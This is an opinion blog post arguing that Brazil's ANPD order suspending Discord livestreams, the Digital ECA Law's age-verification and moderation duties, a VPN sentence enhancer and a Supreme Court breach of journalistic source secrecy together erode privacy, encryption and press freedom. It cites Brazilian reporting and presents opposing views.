&lt;p&gt;In six days, Brazil went from a tragedy to a regulatory precedent that should worry anyone who understands technology. On July 22, a 13-year-old girl died in Naviraí, Mato Grosso do Sul, during a live broadcast on Discord, coerced by a group the police are investigating as a criminal organization. On August 12, the ANPD, Brazil&amp;rsquo;s data protection authority, ordered Discord to suspend live broadcasting nationwide.&lt;/p&gt;</description><content:encoded><![CDATA[<p>If you didn&rsquo;t know: Brazil censored Discord&rsquo;s livestreams this week. One heads-up before we start: this story runs on Brazilian law and Brazilian reporting, so most of the sources linked below are in Portuguese. I&rsquo;ll translate everything that matters.</p>
<p>In six days, Brazil went from a tragedy to a regulatory precedent that should worry anyone who understands technology. On July 22, a 13-year-old girl died in Naviraí, Mato Grosso do Sul, during a live broadcast on Discord, coerced by a group the police are investigating as a criminal organization. On August 12, the ANPD, Brazil&rsquo;s data protection authority, ordered Discord to suspend live broadcasting nationwide.</p>
<p>In between: the First Lady demanding the platform be blocked at an official ceremony, the Attorney General announcing a public civil action, and the first major enforcement action in the history of the Digital ECA Law — Brazil&rsquo;s new online child-protection statute, named after the <em>Estatuto da Criança e do Adolescente</em>, the Child and Adolescent Statute. Let&rsquo;s go piece by piece, because the devil lives exactly in the pieces.</p>
<h2>The Naviraí case<span class="hx:absolute hx:-mt-20" id="the-naviraí-case"></span>
    <a href="#the-navira%c3%ad-case" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The facts, per the <a href="https://g1.globo.com/politica/noticia/2026/08/04/policia-faz-operacao-contra-suspeitos-de-induzir-adolescente-a-tirar-a-propria-vida-e-transmitir-em-rede-social.ghtml"target="_blank" rel="noopener">Mato Grosso do Sul Civil Police and G1</a>: Lívia, 13, was found dead in her backyard on the morning of July 22. She took her own life during a broadcast on Go Live, Discord&rsquo;s live video feature, under pressure, humiliation, and explicit encouragement from other users. <strong>More than 200 people</strong> were watching.</p>
<p><a href="https://www.enfoquems.com.br/operacao-livia-combate-grupo-neonazista-que-coagiu-adolescente-ao-suicidio-em-navirai/"target="_blank" rel="noopener">Operação Lívia</a>, launched on August 4 with warrants across five states, revealed what was behind it: a group made up mostly of teenagers, the alleged leader just 14, that recruited minors via Discord <strong>and Telegram</strong>, spread neo-Nazi and misogynistic content, and is being investigated for qualified homicide and criminal organization. A second girl was induced to self-harm during the same livestream but left the broadcast.</p>
<p>Hold on to two details for later: the group operated on more than one platform, and the Ministry of Justice <a href="https://g1.globo.com/politica/noticia/2026/08/04/policia-faz-operacao-contra-suspeitos-de-induzir-adolescente-a-tirar-a-propria-vida-e-transmitir-em-rede-social.ghtml"target="_blank" rel="noopener">asked the ANPD to investigate Discord and Telegram</a>. Only one of the two was sanctioned.</p>
<h2>From the First Lady to the ANPD in six days<span class="hx:absolute hx:-mt-20" id="from-the-first-lady-to-the-anpd-in-six-days"></span>
    <a href="#from-the-first-lady-to-the-anpd-in-six-days" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On August 6, at the signing ceremony of <a href="https://www.camara.leg.br/proposicoesWeb/fichadetramitacao?idProposicao=2528433"target="_blank" rel="noopener">the bill PL 3066/2025</a> (which stiffens penalties for digital crimes against children — keep that bill in mind, it comes back shortly), First Lady Janja da Silva <a href="https://www1.folha.uol.com.br/cotidiano/2026/08/janja-chama-discord-de-rede-horrorosa-apos-caso-de-suicidio-ao-vivo-e-pede-seu-bloqueio-no-brasil.shtml"target="_blank" rel="noopener">left no room for doubt</a>: <em>&ldquo;we need to block Discord in Brazil by any means necessary&hellip; we need to work with the Judiciary to take this horrendous network offline.&rdquo;</em> The Attorney General, Jorge Messias, announced right there a public civil action to take the platform down.</p>
<p>On the 7th, the ANPD <a href="https://www.gov.br/anpd/pt-br/assuntos/noticias/anpd-instaura-processo-de-fiscalizacao-contra-o-discord-para-apurar-falhas-na-protecao-de-criancas-e-adolescentes"target="_blank" rel="noopener">opened an enforcement proceeding against Discord</a>, giving the company five business days to explain itself. On the 12th, <a href="https://www.gov.br/anpd/pt-br/assuntos/noticias/em-medida-preventiva-anpd-determina-que-discord-suspenda-transmissoes-ao-vivo-no-brasil"target="_blank" rel="noopener">out came the preventive measure</a>: Discord must suspend Go Live and equivalent video-sharing features in Brazil within <strong>three business days</strong>, and can only turn them back on after proving effective child-protection measures and obtaining express ANPD authorization. The legal basis: articles 6, 10, 17, 28, and 29 of the Digital ECA Law, with fines up to <strong>R$ 50 million</strong> per infraction (art. 35).</p>
<p>Discord <a href="https://www.meioemensagem.com.br/midia/anpd-suspende-transmissoes-ao-vivo-do-discord-no-brasil"target="_blank" rel="noopener">called the measure &ldquo;premature&rdquo;</a>: it received the case file on Friday, was still within its response window, and says it removed the private server where the crime happened. And it dropped the most interesting sentence in the whole response: its internal investigation found evidence that <em>&ldquo;the criminal activity was coordinated on other platforms before the server was created on Discord and continued on them afterward.&rdquo;</em></p>
<p>A necessary clarification here. A version has circulated claiming the case originated on Instagram. I went looking and found no source confirming it: the platform named by police, besides Discord, is Telegram. Discord doesn&rsquo;t name the &ldquo;other platforms.&rdquo; What matters still stands, just with a different name in the slot: the case <strong>was not exclusive to Discord</strong>, the Ministry of Justice asked for two platforms to be investigated, and only Discord got the sanction. Telegram, which barely has legal representation in Brazil, remains untouched.</p>
<p>And that&rsquo;s where the first uncomfortable question shows up: if the problem is systemic, why is the sanction surgical?</p>
<h2>What the Digital ECA Law is, a.k.a. the &ldquo;Felca Law&rdquo;<span class="hx:absolute hx:-mt-20" id="what-the-digital-eca-law-is-aka-the-felca-law"></span>
    <a href="#what-the-digital-eca-law-is-aka-the-felca-law" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The sanction was only possible because of a brand-new law. In August 2025, the YouTuber Felca published the video <em>&ldquo;Adultização&rdquo;</em> (&ldquo;Adultification&rdquo;), exposing profiles that monetized sexualized content involving minors — the most shocking case being influencer Hytalo Santos, <a href="https://www.poder360.com.br/poder-justica/hytalo-santos-e-marido-sao-condenados-por-exploracao-de-menores/"target="_blank" rel="noopener">arrested that same month and convicted in February 2026</a> to over 11 years in prison. The video passed 30 million views, the Senate opened a parliamentary inquiry, and Congress <a href="https://gcaa.com.br/eca-digital-e-sancionado-comentarios-sobre-marco-regulatorio-de-protecao-de-criancas-e-adolescentes-em-ambientes-digitais/"target="_blank" rel="noopener">rushed the bill PL 2628/2022 through under urgency</a>, authored by Senator Alessandro Vieira.</p>
<p>The result: <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">Law 15,211 of September 17, 2025</a>, the Digital Statute for Children and Adolescents, in force since March 17, 2026. The points that matter for this discussion:</p>
<ul>
<li><strong>Duty of care</strong> (art. 6): platforms must take <em>&ldquo;reasonable measures from the design phase&rdquo;</em> to prevent minors&rsquo; exposure to sexual exploitation, violence, and inducement to self-harm and suicide.</li>
<li><strong>Age verification</strong> (art. 9, §1): <em>&ldquo;reliable age-verification mechanisms at every access&rdquo;</em>, with a devastating punchline: <strong>&ldquo;self-declaration is forbidden.&rdquo;</strong></li>
<li><strong>Notice and takedown</strong> (art. 29): a duty to remove content violating children&rsquo;s rights as soon as notified, <strong>no court order required</strong>.</li>
<li><strong>Enforcer</strong>: the ANPD, which stacked the job on top of the LGPD (<em>Lei Geral de Proteção de Dados</em>, Brazil&rsquo;s General Data Protection Law) and, since May 2026, duties under the Marco Civil da Internet (Brazil&rsquo;s internet bill of rights). It became the country&rsquo;s de facto digital regulator.</li>
<li><strong>Fines</strong> up to 10% of Brazilian revenue, capped at R$ 50 million per infraction. Suspension of activities, on paper, <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">only through the Judiciary</a> (art. 35, §5).</li>
</ul>
<p>That last point is already contested: <a href="https://www1.folha.uol.com.br/cotidiano/2026/08/anpd-tem-poder-para-fiscalizar-discord-mas-competencias-ainda-sao-discutiveis-dizem-especialistas.shtml"target="_blank" rel="noopener">experts interviewed by Folha</a> point out that the ANPD&rsquo;s &ldquo;preventive measure&rdquo; may in practice be a temporary suspension of activities — a sanction the law reserves for the Judiciary. Barely born, the regulation is already flirting with its own illegality.</p>
<p>Worth remembering the bigger context: in June 2025 the Supreme Court <a href="https://www.conjur.com.br/2025-jun-11/stf-forma-maioria-por-responsabilizacao-de-big-techs-por-publicacoes-de-usuarios/"target="_blank" rel="noopener">partially struck down art. 19 of the Marco Civil</a>, ending the requirement of a specific court order to hold platforms liable. In June 2026 the same court <a href="https://www.cnnbrasil.com.br/politica/stf-exige-representante-de-big-techs-no-brasil-e-da-60-dias-para-adaptacao/"target="_blank" rel="noopener">consolidated a &ldquo;duty of care&rdquo;</a> with categories for immediate removal, including suicide inducement and grave crimes against children. The Digital ECA Law legislates in that direction. In one year, platform liability in Brazil went from reactive to proactive.</p>
<h2>The oxymoron: &ldquo;you may encrypt, as long as we can read it&rdquo;<span class="hx:absolute hx:-mt-20" id="the-oxymoron-you-may-encrypt-as-long-as-we-can-read-it"></span>
    <a href="#the-oxymoron-you-may-encrypt-as-long-as-we-can-read-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now the core of it, which is what made me write this. The ANPD&rsquo;s official justification for suspending Go Live deserves a careful read: Discord&rsquo;s architecture uses end-to-end encryption, <strong>the platform has no access to livestream content</strong>, and therefore real-time moderation is impossible. In the ANPD&rsquo;s assessment, if moderation depends on flawed automated systems and on reports from people inside the very room where the crime is happening, the feature is incompatible with the law.</p>
<p>Read that again, slowly. The ANPD didn&rsquo;t ban encryption — a direct ban would be indefensible in public. It said something else, far more ingenious: you may have end-to-end encryption, as long as you can monitor the content to comply with your legal duties.</p>
<p>Except that&rsquo;s an oxymoron. The entire point of end-to-end encryption is that the server carries ciphertext and cannot read it. To &ldquo;monitor the content,&rdquo; that content has to arrive at the servers in the clear — and then it&rsquo;s not end-to-end anymore. There is no third option: either it&rsquo;s illegible to the platform, or it&rsquo;s legible. The ANPD didn&rsquo;t criminalize encryption; it merely made it impossible to offer real encryption and operate in Brazil at the same time. Saying &ldquo;they banned cryptography&rdquo; is technically wrong. Functionally, it&rsquo;s exactly what happened.</p>
<p>And I&rsquo;m not the one saying it. Carlos Affonso Souza, director of ITS Rio, <a href="https://www.cnnbrasil.com.br/politica/discord-anpd-cria-precedente-perigoso-sobre-criptografia-diz-especialista/"target="_blank" rel="noopener">told CNN Brasil</a> this is the first time the ANPD has treated end-to-end encryption as a regulatory obstacle, a dangerous precedent comparable to the WhatsApp blocks — and that criminals will simply migrate to less cooperative platforms with no legal presence in the country (did someone say Telegram?).</p>
<p>To be fair to the debate: the law&rsquo;s text never mentions encryption once, and art. 34, §1 <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/lei/l15211.htm"target="_blank" rel="noopener">expressly forbids</a> <em>&ldquo;massive, generic or indiscriminate surveillance mechanisms.&rdquo;</em> Fact-checkers <a href="https://www.boatos.org/tecnologia/ia-tera-acesso-a-todas-conversas-do-whatsapp-a-partir-de-hoje.html"target="_blank" rel="noopener">debunked the rumors</a> that the Digital ECA Law would read your WhatsApp. All of that is true — and all of that is about paper. In practice, the first major enforcement in the law&rsquo;s history treated the technical impossibility of surveillance as grounds to kill a feature. Paper accepts anything; the enforcer&rsquo;s pen is what writes the real law.</p>
<p>And there are hooks in the letter of the law waiting to be used: art. 18, III requires parental-control tools to <em>&ldquo;identify the profiles of adults with whom the child or adolescent communicates&rdquo;</em> — explain to me how an end-to-end encrypted messenger complies with that. Art. 27 orders providers to <em>&ldquo;remove and report&rdquo;</em> abuse content <em>&ldquo;detected&rdquo;</em> directly or indirectly — and detection presupposes seeing. Neither has been used yet. The Go Live precedent shows how they&rsquo;ll be read when they are.</p>
<blockquote>
  <p><strong>Remember this:</strong> the ANPD didn&rsquo;t ban encryption. It banned a feature whose encryption prevents content surveillance. The practical effect is identical: in Brazil, end-to-end encryption is now a regulatory risk.</p>

</blockquote>
<h2>Digital ECA Law vs. the LGPD<span class="hx:absolute hx:-mt-20" id="digital-eca-law-vs-the-lgpd"></span>
    <a href="#digital-eca-law-vs-the-lgpd" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The bigger irony is institutional. In 2018 we passed the LGPD to protect Brazilians&rsquo; personal data, built on principles like minimization (collect only what&rsquo;s necessary) and purpose limitation (use it only for what it was collected for). The Digital ECA Law, enforced by the same agency, pushes the other way.</p>
<p>Age verification is the crystal-clear example. <em>&ldquo;Self-declaration is forbidden&rdquo;</em> means every user, adults included, will have to prove their age to access ordinary services. Prove it how? ID documents, facial biometrics, verifiable credentials. <a href="https://www.gazetadopovo.com.br/vida-e-cidadania/verificacao-etaria-do-eca-digital-poe-em-risco-privacidade-de-dados/"target="_blank" rel="noopener">Gazeta do Povo heard experts</a> warning about the obvious: we&rsquo;re building a permanent identification infrastructure for everyone on the internet, with biometric data that, once leaked, can&rsquo;t be changed — you can change a password, you can&rsquo;t change your face.</p>
<p>And it&rsquo;s not theory. An <a href="https://convergenciadigital.com.br/governo/inutil-e-perigoso-cientistas-alertam-contra-sistemas-de-verificacao-de-idade-na-internet/"target="_blank" rel="noopener">open letter signed by 438 scientists from 32 countries</a> calls these systems &ldquo;useless and dangerous&rdquo;: trivially bypassed with VPNs and deepfakes, biased against minorities. And it cites the perfect example — Discord itself, which <a href="https://convergenciadigital.com.br/governo/inutil-e-perigoso-cientistas-alertam-contra-sistemas-de-verificacao-de-idade-na-internet/"target="_blank" rel="noopener">leaked ID photos of ~70,000 users</a> precisely because of outsourced age verification. The platform the ANPD is punishing for not surveilling is the same one that proved, in practice, the cost of collecting.</p>
<p>The law has safeguards on paper — art. 13 limits the use of verification data <em>&ldquo;solely for that purpose,&rdquo;</em> art. 12 talks about minimization. But notice the structural conflict of interest: the ANPD holds three mandates: LGPD, Digital ECA Law, and Marco Civil. <strong>The agency that should defend the minimization of your data is the same one now demanding you hand it over.</strong> When those two roles collide inside the same body, which one do you think wins?</p>
<h2>The other law of August 6: using a VPN now weighs on your sentence<span class="hx:absolute hx:-mt-20" id="the-other-law-of-august-6-using-a-vpn-now-weighs-on-your-sentence"></span>
    <a href="#the-other-law-of-august-6-using-a-vpn-now-weighs-on-your-sentence" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Remember how the ceremony where the First Lady demanded the block was the signing of another law? It&rsquo;s worth looking at what else was signed that day, because one article of PL 3066/2025 went almost unnoticed outside the tech bubble: <strong>art. 226-A</strong>, which <a href="https://agenciagov.ebc.com.br/noticias/202608/sancionada-lei-que-atualiza-o-eca-e-que-define-e-pune-crimes-sexuais-no-mundo-digital"target="_blank" rel="noopener">raises sentences by one third to two thirds</a> for crimes under the Child and Adolescent Statute committed using proxies, VPNs, or any IP-masking or anonymization technique.</p>
<p>Ayub, who has followed digital legislation for years, <a href="https://x.com/ayubio/status/2058990595503509513"target="_blank" rel="noopener">sounded the alarm back in May</a>, when the Chamber of Deputies approved the text: <em>&ldquo;it provides prison for anyone who develops or provides VPN services. You can&rsquo;t say I didn&rsquo;t warn you.&rdquo;</em></p>
<p>One clarification matters here, because checking sources is what separates analysis from panic. The <strong>original</strong> draft by congressman Osmar Terra did criminalize developing, distributing, or selling IP-masking software — in practice, it turned the VPN-developer profession into a crime. But the bill went through a technical working group that heard the Federal Police, prosecutors, the child-safety NGO Safernet, and the platforms themselves, and the final rapporteur, congresswoman Rogéria Santos, <a href="https://iclnoticias.com.br/projeto-contra-pedofila-quase/"target="_blank" rel="noopener">removed the development criminalization</a> and kept only the sentence enhancer, with an express safeguard for lawful use. Ayub&rsquo;s tweet describes the bill that went into the Chamber, not the law that came out. His warning, though, captured the direction — and the direction held.</p>
<p>Because what survived is already plenty. <a href="https://isoc.org.br/noticia/isoc-e-isoc-brasil-pedem-rejeicao-do-art-226-a-do-pl-3066-2025"target="_blank" rel="noopener">ISOC Brasil pointed out</a> (ISOC is the Internet Society) that the enhancer puts VPN use on the same penal footing as armed robbery. And an <a href="https://teletime.com.br/06/07/2026/vpn-senado-entidaddes/"target="_blank" rel="noopener">open letter to the Senate</a>, signed by the EFF (Electronic Frontier Foundation), the Tor Project, Artigo 19, Data Privacy Brasil, and half a dozen other organizations, explained the obvious to anyone in the field: proxies and VPNs are standard corporate security infrastructure, recommended by international standards like ISO/IEC 27001; identifier anonymization is a native feature of browsers like Firefox and Brave; and your employer probably <strong>requires</strong> you to use a VPN to work from home. The Senate didn&rsquo;t listen. On August 6, the article became law — at that very ceremony.</p>
<p>The sentence from the letter that should haunt any legislator: <em>&ldquo;legal precedents rarely remain confined to the hypothesis that justified their creation.&rdquo;</em> In the letter&rsquo;s formulation, it&rsquo;s the <strong>first time</strong> Brazilian criminal law treats a neutral security technology as, by itself, grounds for a harsher sentence. Today the hypothesis is crimes against children — the one nobody dares question in public, and the bill&rsquo;s authors knew it. Tomorrow it&rsquo;s any crime. The next congressman who wants to enhance theft &ldquo;committed through VPN use&rdquo; already has the precedent ready, voted and signed.</p>
<p>And notice the ingenuity, identical to the encryption play: nobody banned VPNs — a direct ban would be indefensible. A mechanism was merely created to treat VPN users as qualified suspects. Think about the execution: to apply the &ldquo;lawful use&rdquo; safeguard, the State first needs to know you use a VPN and then determine whether your use was lawful. In other words, every user of a privacy tool becomes, by default, a potential object of verification. The safeguard doesn&rsquo;t protect the user — it authorizes their inspection.</p>
<p>And there&rsquo;s a fine irony to close: the 438-scientist letter I mentioned in the previous section warns that age verification is bypassed with VPNs. The Brazilian legislator&rsquo;s answer wasn&rsquo;t to rethink age verification. It was to half-criminalize VPNs. The siege closes from both sides, always with the same little plaque of good intentions nailed on top.</p>
<blockquote>
  <p><strong>Remember this:</strong> nobody banned VPNs in Brazil. Something subtler was created: the first criminal-law precedent where using a neutral privacy tool weighs against you. Today it enhances crimes against children. The precedent itself has no owner.</p>

</blockquote>
<h2>And the actual criminals?<span class="hx:absolute hx:-mt-20" id="and-the-actual-criminals"></span>
    <a href="#and-the-actual-criminals" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s a contradiction in this story that almost nobody commented on. The sanction against Discord came down in six days, with a potential R$ 50 million fine per infraction. And what happens to the perpetrators of the crime that motivated all of this?</p>
<p>The Naviraí group was made up of five teenagers aged 13 to 17 and one 18-year-old. The alleged leader is 14. Under Brazilian law, <strong>only the 18-year-old answers as an adult</strong>, for qualified homicide. The other five fall under the ECA regime — the classic one, not the digital one: socio-educational internment, with a <a href="https://www.atfcursosjuridicos.com.br/repositorio/material/15893963154125-ecaparaoabatf.pdf"target="_blank" rel="noopener">three-year ceiling</a> and compulsory release at 21. The case is sealed and we don&rsquo;t know what measures were applied, but that&rsquo;s the ceiling, no matter the cruelty. The intellectual mentor of the Suzano school massacre, with 10 dead, was 17 and <a href="https://g1.globo.com/sp/mogi-das-cruzes-suzano/noticia/2019/05/03/justica-decide-manter-internacao-de-menor-apontado-como-mentor-intelectual-do-massacre-em-suzano.ghtml"target="_blank" rel="noopener">was interned</a> — three years, regardless of the body count.</p>
<p>And there&rsquo;s a calendar irony: in February 2026 Brazil <a href="https://www.brasilparalelo.com.br/noticias/lula-sanciona-lei-que-define-bullying-e-cyberbullying-como-crimes"target="_blank" rel="noopener">signed a law making online inducement to suicide and self-harm a heinous crime</a>, with doubled penalties for group leaders. For adults. For the five Naviraí teenagers, investigated for exactly that, nothing changes: the ceiling is still the ECA&rsquo;s three years.</p>
<p>It stays this way by choice, and not for lack of trying. In March 2026, the rapporteur of the Public Security constitutional amendment included a <a href="https://www.congressoemfoco.com.br/amp/noticia/116889/governo-se-manifesta-contra-a-reducao-da-maioridade-penal--ineficaz"target="_blank" rel="noopener">referendum on lowering the criminal age to 16</a>; the government called the reduction &ldquo;ineffective and unconstitutional&rdquo; and the passage was stripped so the amendment could pass — <a href="https://www.nsctotal.com.br/noticias/camara-aprova-pec-da-seguranca-publica-apos-retirada-de-mencao-a-maioridade-penal"target="_blank" rel="noopener">approved 487 to 15</a> without a single line on the subject. In June, the Chamber&rsquo;s Constitution and Justice Committee <a href="https://www.camara.leg.br/noticias/1280551-comissao-de-constituicao-e-justica-aprova-pec-que-reduz-maioridade-penal/"target="_blank" rel="noopener">approved the admissibility of another reduction amendment, 44 to 18</a>, but it still needs 308 votes in two plenary rounds — exactly the wall where the 2015 version died. Even the middle way stalls: <a href="https://www12.senado.leg.br/noticias/materias/2025/10/22/vai-a-camara-mais-tempo-de-internacao-de-adolescente-em-conflito-com-a-lei"target="_blank" rel="noopener">the bill PL 1.473/2025</a>, which would raise maximum internment from 3 to 5 years (10 for violent crimes), passed the Senate in October 2025 and has been sleeping in the Chamber ever since.</p>
<p>Meanwhile, organized crime does the math. Factions recruit teenagers on purpose, because they know the ECA shields the triggerman: in the faction attacks in Ceará, adults <a href="https://ponte.org/periferias-sao-as-principais-vitimas-dos-ataques-de-faccoes-no-ceara/"target="_blank" rel="noopener">paid R$ 1,000 to R$ 5,000 per attack</a> for teenagers to torch vehicles — the boss doesn&rsquo;t expose himself, the executor doesn&rsquo;t go to prison. The Naviraí group is the digital version of the same logic: a 14-year-old leader coordinating crimes that, committed by an adult, would mean decades in prison.</p>
<p>And Brazil has become an outlier even in its neighborhood. Argentina <a href="https://g1.globo.com/mundo/noticia/2026/02/27/argentina-aprova-lei-que-reduz-maioridade-penal-de-16-para-14-anos.ghtml"target="_blank" rel="noopener">approved lowering the age from 16 to 14 in February</a>. Sweden, of all countries, <a href="https://noticias.r7.com/prisma/espaco-prisma/com-13-anos-um-adolescente-pode-matar-e-ir-para-a-cadeia-a-suecia-decidiu-que-sim-o-brasil-ainda-nao-sabe-05022026/"target="_blank" rel="noopener">dropped to 13 for serious crimes starting in July</a> — after gangs started recruiting children on Snapchat for attacks precisely because they couldn&rsquo;t be prosecuted. England prosecutes from age 10 (though its own Bar Council wants to raise it to 14), most American states transfer 14-year-olds to criminal court for murder, Portugal at 16.</p>
<p>For the record, the other side exists: <a href="https://brasil.un.org/pt-br/317703-redu%C3%A7%C3%A3o-da-maioridade-penal-unicef-manifesta-preocupa%C3%A7%C3%A3o-com-avan%C3%A7o-da-pec-na-c%C3%A2mara-dos"target="_blank" rel="noopener">UNICEF came out against the reduction</a>, and the recidivism data is uncomfortable for both sides — ~43% after internment, ~70% after regular prison. If we&rsquo;re going to debate the model, let&rsquo;s debate it. What doesn&rsquo;t fly is the current result: a new law managed in six days to take offline a feature used by millions of innocent people, while the system that punishes the perpetrators hasn&rsquo;t moved in thirty years. We punish the pipe because the pipe is what&rsquo;s within reach.</p>
<blockquote>
  <p><strong>Remember this:</strong> six days to sanction a platform used by millions of innocent people; thirty years without touching the ceiling for those who committed the crime.</p>

</blockquote>
<h2>Meanwhile, at the Supreme Court: source protection breached<span class="hx:absolute hx:-mt-20" id="meanwhile-at-the-supreme-court-source-protection-breached"></span>
    <a href="#meanwhile-at-the-supreme-court-source-protection-breached" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If it were only Discord, you could call it a regulatory accident. But in the same week, another pillar fell.</p>
<p>Since November 2025, journalist Luís Pablo, from Maranhão, had been publishing reports about the use of an official car of the TJ-MA (<em>Tribunal de Justiça do Maranhão</em>, the Maranhão state court) by Supreme Court minister Flávio Dino and family members. In March, Alexandre de Moraes authorized a <a href="https://www.gazetadopovo.com.br/republica/decisao-de-moraes-sobre-jornalista-cita-inquerito-das-fake-news-e-contraria-nota-oficial-do-stf/"target="_blank" rel="noopener">search and seizure against the journalist</a> — in a decision that cited the fake news inquiry, which the Court&rsquo;s press office later denied. Phones, a notebook, and a pen drive seized. In April, the equipment was returned, but the forensic analysis continued.</p>
<p>On August 11, <a href="https://g1.globo.com/jornal-nacional/noticia/2026/08/11/moraes-determina-investigacao-contra-fonte-de-jornalista-em-reportagem-sobre-dino.ghtml"target="_blank" rel="noopener">the Federal Police served warrants against Raimundo Cutrim</a>, Maranhão&rsquo;s former security secretary — identified as the journalist&rsquo;s source. How did they get to him? Through the analysis of the journalist&rsquo;s seized devices.</p>
<p>See the mechanism? Article 5, XIV of the Constitution protects source secrecy, and the journalist can refuse to reveal it — as he did, staying silent in his deposition. So they didn&rsquo;t ask. They seized his work material, read everything, and <strong>identified the source behind his back</strong>. Constitutional scholar Vera Chemin <a href="https://www.cnnbrasil.com.br/politica/especialistas-avaliam-decisao-de-moraes-sobre-fonte-de-jornalista/"target="_blank" rel="noopener">summed it up on CNN</a>: <em>&ldquo;you cannot breach the secrecy first and then check whether a crime occurred.&rdquo;</em></p>
<p>The Supreme Court itself has ruled this, more than once. In a 2019 constitutional case (ADPF 601), Gilmar Mendes <a href="https://noticias.stf.jus.br/postsnoticias/ministro-gilmar-mendes-garante-sigilo-da-fonte-a-jornalista-glenn-greenwald/"target="_blank" rel="noopener">protected Glenn Greenwald during Vaza Jato</a> with a sentence that should be framed: source secrecy <em>&ldquo;prevents the State from using coercive measures to constrain professional activity and to rummage through the way in which what is brought to public knowledge is received and transmitted.&rdquo;</em> &ldquo;Rummage through the way it is received&rdquo; is literally what the forensic analysis of the devices did.</p>
<p>For the record, the Court&rsquo;s defense exists and deserves to be presented: the investigation targets the illegal monitoring of a minister and his family, with license plates, security agents&rsquo; names, and clandestine images of children published; the Federal Police says Cutrim used his public office to access restricted systems; and there&rsquo;s a R$ 100,000 transfer from a second suspect to the journalist, whose nature nobody has proven yet. The files are sealed, so neither version is verifiable from the outside. There may be a crime there. But that&rsquo;s exactly why the order of operations matters: first you investigate by lawful means, then — maybe, in the most exceptional cases — you discuss exceptions. <strong>Reversing that order turns the exception into the method.</strong></p>
<p>The reaction was the usual one, only louder: the press associations <a href="https://www.abraji.org.br/noticias/abraji-condena-violacao-de-sigilo-de-fonte-de-jornalista-no-maranhao"target="_blank" rel="noopener">Abraji</a>, ANJ and ABERT, the Inter American Press Association, and <a href="https://www.poder360.com.br/poder-midia/globo-folha-e-estadao-criticam-stf-por-quebra-de-sigilo-da-fonte/"target="_blank" rel="noopener">editorials from the country&rsquo;s three biggest newspapers on the same day</a>. Estadão wrote that the fake news inquiry <em>&ldquo;has been converted into an instrument of intimidation.&rdquo;</em> Miro Teixeira, the lawyer who struck down the dictatorship&rsquo;s Press Law in 2009, said the Court <a href="https://www.poder360.com.br/poder-justica/stf-atua-momentaneamente-como-tribunal-de-excecao-diz-miro-teixeira/"target="_blank" rel="noopener">is acting &ldquo;momentarily as a tribunal of exception&rdquo;</a>.</p>
<blockquote>
  <p><strong>Remember this:</strong> source secrecy wasn&rsquo;t repealed, it was bypassed. Nobody coerced the journalist; they seized his devices and the source surfaced in the forensics. The guarantee still exists, but only on paper.</p>

</blockquote>
<h2>Conclusion: is Brazil becoming a censored country?<span class="hx:absolute hx:-mt-20" id="conclusion-is-brazil-becoming-a-censored-country"></span>
    <a href="#conclusion-is-brazil-becoming-a-censored-country" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>It&rsquo;s the pattern that worries me, not the isolated episodes. In 2024, X spent a month offline in Brazil by monocratic order. In 2025, art. 19 of the Marco Civil fell and platform liability went proactive. In 2026, the Digital ECA Law handed the Executive a package of obligations so intrusive that, the first time it was used, it took down an encrypted feature nationwide — while the 14-year-old leader of the group that motivated the sanction faces, at most, three years of internment. And journalistic source secrecy was breached forensically, with the blessing of the same court that enshrined it.</p>
<p>Every rung of that ladder has a sympathetic justification, and that&rsquo;s exactly why the ladder is dangerous. Nobody builds censorship infrastructure saying it&rsquo;s for censorship. You build it to protect children, to protect ministers, to protect democracy.</p>
<p>The problem is that <strong>infrastructure has no moral owner</strong>. The ruler that measures Discord today measures any app tomorrow. The enforcement that demands plaintext streams today to protect Lívia will demand plaintext for whatever the government of the day wants to see. The source breach that catches the Dino case&rsquo;s source today catches any source, in any case, against anyone.</p>
<p>And the week&rsquo;s most revealing detail: of the two platforms the Ministry of Justice asked to investigate, the sanctioned one is the one with an office, a tax ID, and lawyers in Brazil — the one that <em>cooperates</em>. The message the regulator sent the market is inverted: <strong>cooperating exposes you; being opaque protects you</strong>. The teenagers from the Naviraí neo-Nazi group aren&rsquo;t going anywhere — they&rsquo;re going to Telegram, which nobody touched.</p>
<p>And there&rsquo;s the most Brazilian trait of all in this arrangement: it became impossible to be on the right side of the law. If you truly protect your users with end-to-end encryption, you violate the Digital ECA Law. If you comply with the Digital ECA Law, you open up your users&rsquo; data and violate the LGPD. If you collect IDs for age verification, you become a leak target and a sanction target; if you don&rsquo;t collect, you become an enforcement target. <strong>There is no safe configuration.</strong></p>
<p>And that&rsquo;s a tradition of ours: laws so broad, with so many stacked exceptions, that anyone becomes an offender by accident on any street corner. When everyone is always in violation, the law stops being a rule and becomes an option — real power migrates to whoever chooses whom to apply it against. That&rsquo;s what happened this week: two platforms investigated, one punished. The one with a local address.</p>
<p>Protecting children is a non-negotiable civilizational duty. Investigating crimes against a minister is the State&rsquo;s obligation. The question that remains isn&rsquo;t whether those causes are legitimate — they are. It&rsquo;s whether Brazil can still pursue legitimate causes without demolishing the guarantees that make the country a liberal democracy: real privacy, functional encryption, a press with protected sources. This week, the answer was no three times in a row.</p>
<p>It&rsquo;s not regime censorship. In a way it&rsquo;s worse: it&rsquo;s censorship by accumulation, voted, signed, and applauded, every brick carrying a little plaque of good intentions. And you only notice the wall when it&rsquo;s already around you.</p>
